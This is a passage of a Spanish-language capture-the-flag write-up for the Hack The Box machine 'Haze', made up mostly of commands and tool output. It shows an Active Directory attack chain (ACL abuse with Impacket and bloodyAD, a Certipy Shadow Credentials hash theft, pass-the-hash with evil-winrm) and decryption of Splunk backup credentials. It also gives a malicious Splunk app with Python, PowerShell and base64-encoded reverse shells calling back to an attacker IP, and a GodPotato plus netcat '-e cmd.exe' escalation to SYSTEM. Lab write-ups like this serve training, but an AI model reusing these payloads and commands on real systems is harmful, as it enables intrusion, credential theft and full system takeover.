. - Ya siendo dueños del grupo
Support_Service
, nos agregamos a nosotros mismos a este grupo. - Abusando del permiso
AddKeyCredentialLink
, performamos un ataqueShadow Credentials
sobre el usuarioedward.martin
para extraer su hashNTLM
.
Primero, usamos owneredit.py
de la suite de Impacket
para agregarnos a nosotros mismos (la cuenta Haze-IT-Backup$
) como dueños del grupo Support_Service
:
❯ impacket-owneredit -action write -new-owner 'Haze-IT-Backup$' -target 'Support_Services' -dc-ip haze.htb haze.htb/'Haze-IT-Backup$' -hashes ':735c02c6b2dc54c3c8c6891f55279ebc'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-323145914-28650650-2368316563-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=haze,DC=htb
[*] OwnerSid modified successfully!
Segundo, nos damos permisos FullControl
sobre el grupo Support_Services
usando impacket-dacledit
:
❯ impacket-dacledit -principal 'Haze-IT-Backup$' -target 'Support_Services' -action write -rights FullControl -dc-ip haze.htb haze.htb/'Haze-IT-Backup$' -hashes ':735c02c6b2dc54c3c8c6891f55279ebc'
Tercero, usamos bloodyAD
(el cual puede ser descargado desde aquí, o ser instalado con pip install bloodyAD
) para agregarnos a nosotros mismos al grupo Support_Services
:
❯ bloodyAD --host haze.htb -d haze.htb -u 'Haze-IT-Backup$' -p ':735c02c6b2dc54c3c8c6891f55279ebc' add groupMember 'Support_Services' 'Haze-IT-Backup$'
[+] Haze-IT-Backup$ added to Support_Services
Por último, tratamos de realizar un ataque Shadow Credentials
sobre la cuenta edward.martin
. Para este propósito podemos usar una herramienta como Certipy
(la cual puede ser descargada desde aquí, o instalada usando pip3 install certipy-ad
) junto con faketime
y ntpdate
para evadir problemas con Kerberos
:
❯ faketime "$(ntpdate -q haze.htb | cut -d ' ' -f 1,2)" certipy shadow auto -username 'Haze-IT-Backup$'@haze.htb -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -account 'edward.martin'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '93f3000d-db98-9f29-dbde-99994c848143'
[*] Adding Key Credential with device ID '93f3000d-db98-9f29-dbde-99994c848143' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID '93f3000d-db98-9f29-dbde-99994c848143' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Using principal: edward.martin@haze.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af
Tenemos un hash NT
para el usuario edward.martin
.
Haze-IT-Backup$
a su estado original, quitando los permisos y membresías a grupos. Por lo que si obtenemos algún error al correr esta “cadena” de ataque puede que necesitemos volver a correr todos los comandos para poder realizar el ataque Shadow Credentials
.Revisamos si nos podemos conectar con evil-winrm
como el usuario edward.martin
usando el hash NT
obtenido:
❯ evil-winrm -i haze.htb -u 'edward.martin' -H '09e0b3eeb2e7a6b0d419e9ff8f4d91af'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\edward.martin\Documents>
Podemos extraer la flag de user en el Desktop del usuario edward.martin
.
NT Authority/System - Administrador Link to heading
Cuando entré por primera vez en la máquina víctima como el usuario mark.adams
a través de evil-winrm
noté que existía una carpeta Backups
en C:\
, pero no teníamos permisos para acceder a ésta:
*Evil-WinRM* PS C:\Users\mark.adams\Documents> dir C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/5/2025 12:32 AM Backups
d----- 3/25/2025 2:06 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 3/4/2025 11:28 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d-r--- 3/31/2025 8:11 AM Users
d----- 3/25/2025 2:15 PM Windows
*Evil-WinRM* PS C:\Users\mark.adams\Documents> dir C:\Backups
Access to the path 'C:\Backups' is denied.
At line:1 char:1
+ dir C:\Backups
+ ~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Backups:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
No obstante, el usuario edward.martin
es parte del grupo Backup_Reviewers
:
*Evil-WinRM* PS C:\Users\edward.martin\Documents> net user edward.martin
User name edward.martin
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/31/2025 9:17:28 AM
Password expires Never
Password changeable 4/1/2025 9:17:28 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/31/2025 9:12:11 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Backup_Reviewers *Domain Users
The command completed successfully.
Y este usuario sí puede listar el contenido de la carpeta C:\Backups
:
*Evil-WinRM* PS C:\Users\edward.martin\Documents> dir C:\Backups
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/5/2025 12:33 AM Splunk
Esto es porque, confirmando con la utilidad icacls
, los miembros del grupo Backup_Reviewers
efectivamente tienen permisos sobre este directorio:
*Evil-WinRM* PS C:\Users\edward.martin\Documents> icacls C:\Backups
C:\Backups HAZE\Backup_Reviewers:(OI)(CI)(RX)
CREATOR OWNER:(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
Successfully processed 1 files; Failed processing 0 files
En la carpeta C:\Backups\Splunk
tenemos un archivo .zip
que parece ser un respaldo:
*Evil-WinRM* PS C:\Users\edward.martin\Documents> dir C:\Backups\Splunk
Directory: C:\Backups\Splunk
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/6/2024 3:22 PM 27445566 splunk_backup_2024-08-06.zip
Lo descargamos en nuestra máquina de atacante usando la función download
de evil-winrm
(vayan por un café o a comer, porque la descarga toma su tiempo):
*Evil-WinRM* PS C:\Users\edward.martin\Documents> cd C:\Backups\Splunk
*Evil-WinRM* PS C:\Backups\Splunk> download splunk_backup_2024-08-06.zip
Info: Downloading C:\Backups\Splunk\splunk_backup_2024-08-06.zip to splunk_backup_2024-08-06.zip
Info: Download successful!
Descargado este archivo, descomprimimos el archivo de respaldo .zip
en nuestra máquina de atacantes usando unzip
:
❯ unzip splunk_backup_2024-08-06.zip
Archive: splunk_backup_2024-08-06.zip
creating: Splunk/
creating: Splunk/bin/
<SNIP>
Esto extraer todos los documentos en un directorio llamado Splunk
. Si recordamos, el archivo authentication.conf
tenía credenciales para el primer usuario que encontramos. Revisamos si este archivo existe en este respaldo:
❯ find ./Splunk -name '*authentication.conf' -type f 2>/dev/null
./Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
./Splunk/var/run/splunk/confsnapshot/baseline_default/system/default/authentication.conf
./Splunk/etc/system/default/authentication.conf
Existe.
El primer archivo de la lista previa muestra un contenido levemente diferente al que habíamos hallado al inicio de esta máquina:
❯ cat ./Splunk/var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
[default]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP%
Tenemos una nueva contraseña encriptada para el usuario alexander.green
(el cual podemos confirmar con Bloodhound
que es un usuario que existe en el dominio).
Similar a como desencriptamos la contraseña del primer usuario paul.taylor
con splunksecrets
, desencriptamos esta contraseña. Para ello necesitamos nuevamente hallar el archivo splunk.secret
:
❯ find ./Splunk -name '*splunk.secret' -type f 2>/dev/null
./Splunk/etc/auth/splunk.secret
Usamos el secreto en este archivo junto con splunksecrets
para desencriptar esta nueva contraseña:
❯ splunksecrets splunk-legacy-decrypt -S ./Splunk/etc/auth/splunk.secret --ciphertext '$1$YDz8WfhoCWmf6aTRkA+QqUI='
Sp1unkadmin@2k24
Tenemos una nueva contraseña: Sp1unkadmin@2k24
.
Podemos volver al panel de Splunk
corriendo en http://haze.htb:8000
en un navegador de internet e intentar con las credenciales admin:Sp1unkadmin@2k24
. Funcionan. Tenemos acceso al panel:
Ya que estamos dentro, podríamos tratar de subir un módulo malicioso para Splunk
que nos envie una reverse shell. Para este propósito, podríamos usar archivos de este repositorio. Lo clonamos y editamos los archivos localizados en el directorio reverse_shell_splunk/bin
. Cambiamos reverse_shell_splunk/bin/rev.py
de:
import sys,socket,os,pty
ip="attacker-ip-here"
port="attacker port here"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
A una versión levemente modificada:
import sys,socket,os,pty
ip="10.10.16.56" # we have added our attacker IP
port="443" # we have added our listening port
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
Donde 10.10.16.56
es nuestra IP de atacantes y 443
el puerto en el cual nos pondremos en escucha con netcat
.
Además, cambiamos el archivo reverse_shell_splunk/bin/run.ps1
(el cual es simplemente un oneliner de un archivo del repositorio Nishang) de:
#A simple and small reverse shell. Options and help removed to save space.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip_here',attacker_port_here);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
A una leve versión modificada:
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.56',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Donde hemos agregado nuestra IP de atacante y puerto en escucha también.
Finalmente, también cambiamos el archivo reverse_shell_splunk/bin/run.bat
a:
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQA2ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
Exit
Donde hemos usado un payload PowerShell #3 (Base64)
de https://www.revshells.com/ luego de especificar nuestra IP de atacante y puerto de escucha.
Python
no será ejecutado, mientras que los archivos .bat
y .ps1
probablemente sí sean ejecutados dado que la máquina víctima es un objetivo Windows
. Si no sabemos cuál es, recomiendo editar los 3 como lo acabamos de hacer.Una vez hecho, seguimos los pasos del repositorio y comprimimos los archivos maliciosos usando tar
:
❯ tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
reverse_shell_splunk/
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.bat
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
Y renombramos este archivo, cambiando la extensión de .tgz
a .spl
:
❯ mv reverse_shell_splunk.tgz reverse_shell_splunk.spl
Luego, en el panel de Splunk
clickeamos en Manage
en la parte superior izquierda:
Luego, clickeamos en Install app from file
en la parte superior derecha:
Empezamos un listener con netcat
(junto con rlwrap
) en nuestra máquina de atacantes por el puerto 443
(rlwrap -cAr nc -lvnp 443
) y, de vuelta a la página de Splunk
, clickeamos en Browse
y seleccionamos nuestro payload reverse_shell_splunk.spl
. Obtenemos así una shell como el usuario alexander.green
:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.56] from (UNKNOWN) [10.129.234.37] 58662
whoami
haze\alexander.green
Este usuario tiene el privilegio SeImpersonatePrivilege
habilitado:
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Por lo que podemos abusar de este privilegio para elevar nuestro privilegio.
Podemos subir un binario de netcat
para Windows
y una herramienta para abusar del permiso SeImpersonatePrivilege
como GodPotato
(el cual puede ser descargado desde su repositorio de Github). Para esto, usamos nuestra sesión previa como el usuario edward.martin
y subimos aquellos archivos en la máquina víctima. En mi caso, me gusta subirla en cualquiera de los directorios ubicados en la lista de directorios de UltimateAppLockerByPassList. Antes de subir netcat
y GodPotato
, esta última herramienta tiene distintos binarios para distintas versiones de Microsoft .NET
. Podemos revisar la versión de Microsoft .NET
chequeando sus registros:
*Evil-WinRM* PS C:\Users\edward.martin\Documents> reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0
Tenemos la versión v4.0
para Microsoft .NET
. Por tanto, podemos descargar este binario pre-compilado de GodPotato para .NETv4.0.
Ya descargado, subimos los ejecutables de netcat
y GodPotato
mediante la sesión de edward.martin
con evil-winrm
usamos la función upload
:
**Evil-WinRM* PS C:\Users\edward.martin\Documents> upload nc64.exe C:\\Windows\\System32\\spool\\drivers\\color\\nc64.exe
<SNIP>
*Evil-WinRM* PS C:\Users\edward.martin\Documents> upload GodPotato-NET4.exe C:\\Windows\\System32\\spool\\drivers\\color\\GodPotato.exe
<SNIP>
*Evil-WinRM* PS C:\Users\edward.martin\Documents> dir C:\Windows\System32\spool\drivers\color
Directory: C:\Windows\System32\spool\drivers\color
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/8/2021 1:14 AM 1058 D50.camp
-a---- 5/8/2021 1:14 AM 1079 D65.camp
-a---- 3/31/2025 10:19 PM 57344 GodPotato.exe
-a---- 5/8/2021 1:14 AM 797 Graphics.gmmp
-a---- 5/8/2021 1:14 AM 838 MediaSim.gmmp
-a---- 3/31/2025 10:19 PM 45272 nc64.exe
<SNIP>
Finalmente, en la sesión de alexander.green
, abusamos del permiso SeImpersonatePrivilege
con el binario subido de GodPotato
. Lo usamos para ejecutar un comando mediante CMD
como el usuario nt authority/system
, el cual en este caso lo usaremos para ejecutar el binario de netcat
y enviarnos así una reverse shell como este usuario privilegiado. Empezamos un listener con netcat
por el puerto 443
en otra terminal. Finalmente, como el usuario alexander.green
ejecutamos:
PS C:\Windows\system32> C:\Windows\System32\spool\drivers\color\GodPotato.exe -cmd "C:\Windows\System32\cmd.exe /c C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.16.56 443 -e cmd.exe"
Obtenemos una shell como el usuario nt authority/system
. Aunque esta consola está levemente bugeada, igualmente podemos ejecutar comandos y extraer la flag:
❯ rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.56] from (UNKNOWN) [10.129.104.62] 55728
Microsoft Windows [Version 10.0.20348.3328]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
2a052**************************
~Happy Hacking.